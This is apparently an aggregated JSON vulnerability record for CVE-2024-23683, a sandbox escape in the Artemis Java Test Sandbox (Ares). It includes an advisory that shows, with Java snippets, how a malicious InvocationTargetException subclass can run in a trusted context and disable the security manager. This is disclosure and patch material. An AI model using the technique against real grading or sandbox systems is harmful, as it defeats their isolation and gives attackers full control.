{"id":"CVE-2024-23683","aliases":["EUVD-2024-0218","GHSA-23rx-79r7-6cpx","GHSA-883x-6fch-6wjx"],"status":"published","title":"Artemis Java Test Sandbox InvocationTargetException Subclass Escape","description":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-10","score":0.00358,"percentile":0.2983,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-653"],"published":"2022-01-21T23:39:19Z","modified":"2026-11-09T02:45:44Z","fixes":[{"ecosystem":"Maven","package":"de.tum.in.ase:artemis-java-test-sandbox","fixed_in":["1.7.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"de.tum.in.ase:artemis-java-test-sandbox","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.6"}]}]},{"source":"osv","ecosystem":"Maven","package":"de.tum.in.ase:artemis-java-test-sandbox","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.6"}]}],"versions":["1.0.0","1.0.1","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.7.5"]}],"products":[{"vendor":"ls1intum","product":"artemis_java_test_sandbox"}],"references":[{"url":"https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx","tags":["vendor-advisory","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371","tags":["issue-tracking","related","x_transferred","Issue Tracking","report","web"]},{"url":"https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392","tags":["patch","x_transferred","Patch","fix","web"]},{"url":"https://github.com/ls1intum/Ares/releases/tag/1.7.6","tags":["related","release-notes","x_transferred","Release Notes","advisory","web"]},{"url":"https://github.com/advisories/GHSA-883x-6fch-6wjx","tags":["vendor-advisory","third-party-advisory","x_transferred","Exploit","Third Party Advisory","advisory"]},{"url":"https://vulncheck.com/advisories/vc-advisory-GHSA-883x-6fch-6wjx","tags":["third-party-advisory","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23683","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-23rx-79r7-6cpx"},{"url":"https://repo.maven.apache.org/maven2","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23683.json","tags":["advisory"]},{"url":"https://github.com/ls1intum/Ares","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-23683","title":"Artemis Java Test Sandbox InvocationTargetException Subclass Escape","description":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","status":"published","published":"2024-01-19T20:48:42.271Z","modified":"2026-11-08T13:59:59.706Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-653"],"updated_at":"2026-11-08T14:43:22.764053Z"}],"euvd":[{"id":"EUVD-2024-0218","description":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","status":"published","published":"2024-01-19T20:48:42Z","modified":"2026-11-08T13:59:59Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-08T15:13:10.25084Z"}],"ghsa":[{"id":"GHSA-23rx-79r7-6cpx","title":"Duplicate Advisory: Sandbox escape in Artemis Java Test Sandbox","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-883x-6fch-6wjx. This link is maintained to preserve external references.\n\n## Original Description\nArtemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","status":"withdrawn","published":"2024-01-19T21:30:36Z","modified":"2026-01-22T20:31:21Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T14:39:19.525691Z"},{"id":"GHSA-883x-6fch-6wjx","title":"Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares","description":"### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n\u003cdetails\u003e\n\u003csummary\u003eThrowWithoutThrowsHelper\u003c/summary\u003e\n\n```java\npublic class ThrowWithoutThrowsHelper\u003cX extends Throwable\u003e\n{\n    private final X throwable;\n\n    private ThrowWithoutThrowsHelper(X throwable)\n    {\n        this.throwable = throwable;\n    }\n\n    private \u003cR\u003e R throwWithThrows() throws X\n    {\n        throw throwable;\n    }\n\n    public static \u003cR\u003e R throwWithoutThrows(Throwable throwable)\n    {\n        ThrowWithoutThrowsHelper\u003c?\u003e helper = new ThrowWithoutThrowsHelper\u003cThrowable\u003e(throwable);\n        @SuppressWarnings(\"unchecked\")\n        ThrowWithoutThrowsHelper\u003cRuntimeException\u003e helperCasted = (ThrowWithoutThrowsHelper\u003cRuntimeException\u003e) helper;\n        return helperCasted.throwWithThrows();\n    }\n}\n```\n\u003c/details\u003e\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::invokeMethod\u003c/summary\u003e\n\n```java\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        Preconditions.notNull(method, \"Method must not be null\");\n        Preconditions.condition((target != null || isStatic(method)),\n            () -\u003e String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n        try {\n            return makeAccessible(method).invoke(target, args);\n        }\n        catch (Throwable t) {\n            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n        }\n    }\n```\n\u003c/details\u003e\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::getUnderlyingCause\u003c/summary\u003e\n\n```java\n    private static Throwable getUnderlyingCause(Throwable t) {\n        if (t instanceof InvocationTargetException) {\n            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n        }\n        return t;\n    }\n```\n\u003c/details\u003e\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n\u003cdetails\u003e\n\u003csummary\u003eUninstalling ArtemisSecurityManager\u003c/summary\u003e\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass\u003c?\u003e aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n\u003c/details\u003e\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.","status":"published","published":"2022-01-21T23:39:19Z","modified":"2026-01-22T20:31:26Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T14:39:19.525691Z"}],"nvd":[{"id":"CVE-2024-23683","description":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","status":"published","published":"2024-01-19T21:15:10.34Z","modified":"2026-07-14T23:17:16.373Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-653"],"updated_at":"2026-11-02T14:09:32.147098Z"}],"osv":[{"id":"CVE-2024-23683","title":"Artemis Java Test Sandbox InvocationTargetException Subclass Escape","description":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","status":"published","published":"2024-01-19T20:48:42.271Z","modified":"2026-11-09T07:05:49.312690946Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-09T03:16:26.778234Z"},{"id":"GHSA-23rx-79r7-6cpx","title":"Duplicate Advisory: Sandbox escape in Artemis Java Test Sandbox","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-883x-6fch-6wjx. This link is maintained to preserve external references.\n\n## Original Description\nArtemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","status":"withdrawn","published":"2024-01-19T21:30:36Z","modified":"2026-09-10T03:50:09.296327393Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"GHSA-883x-6fch-6wjx","title":"Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares","description":"### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n\u003cdetails\u003e\n\u003csummary\u003eThrowWithoutThrowsHelper\u003c/summary\u003e\n\n```java\npublic class ThrowWithoutThrowsHelper\u003cX extends Throwable\u003e\n{\n    private final X throwable;\n\n    private ThrowWithoutThrowsHelper(X throwable)\n    {\n        this.throwable = throwable;\n    }\n\n    private \u003cR\u003e R throwWithThrows() throws X\n    {\n        throw throwable;\n    }\n\n    public static \u003cR\u003e R throwWithoutThrows(Throwable throwable)\n    {\n        ThrowWithoutThrowsHelper\u003c?\u003e helper = new ThrowWithoutThrowsHelper\u003cThrowable\u003e(throwable);\n        @SuppressWarnings(\"unchecked\")\n        ThrowWithoutThrowsHelper\u003cRuntimeException\u003e helperCasted = (ThrowWithoutThrowsHelper\u003cRuntimeException\u003e) helper;\n        return helperCasted.throwWithThrows();\n    }\n}\n```\n\u003c/details\u003e\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::invokeMethod\u003c/summary\u003e\n\n```java\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        Preconditions.notNull(method, \"Method must not be null\");\n        Preconditions.condition((target != null || isStatic(method)),\n            () -\u003e String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n        try {\n            return makeAccessible(method).invoke(target, args);\n        }\n        catch (Throwable t) {\n            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n        }\n    }\n```\n\u003c/details\u003e\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::getUnderlyingCause\u003c/summary\u003e\n\n```java\n    private static Throwable getUnderlyingCause(Throwable t) {\n        if (t instanceof InvocationTargetException) {\n            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n        }\n        return t;\n    }\n```\n\u003c/details\u003e\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n\u003cdetails\u003e\n\u003csummary\u003eUninstalling ArtemisSecurityManager\u003c/summary\u003e\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass\u003c?\u003e aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n\u003c/details\u003e\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.","status":"published","published":"2022-01-21T23:39:19Z","modified":"2026-07-08T06:53:11.805543604Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:42.077781Z"}]}}
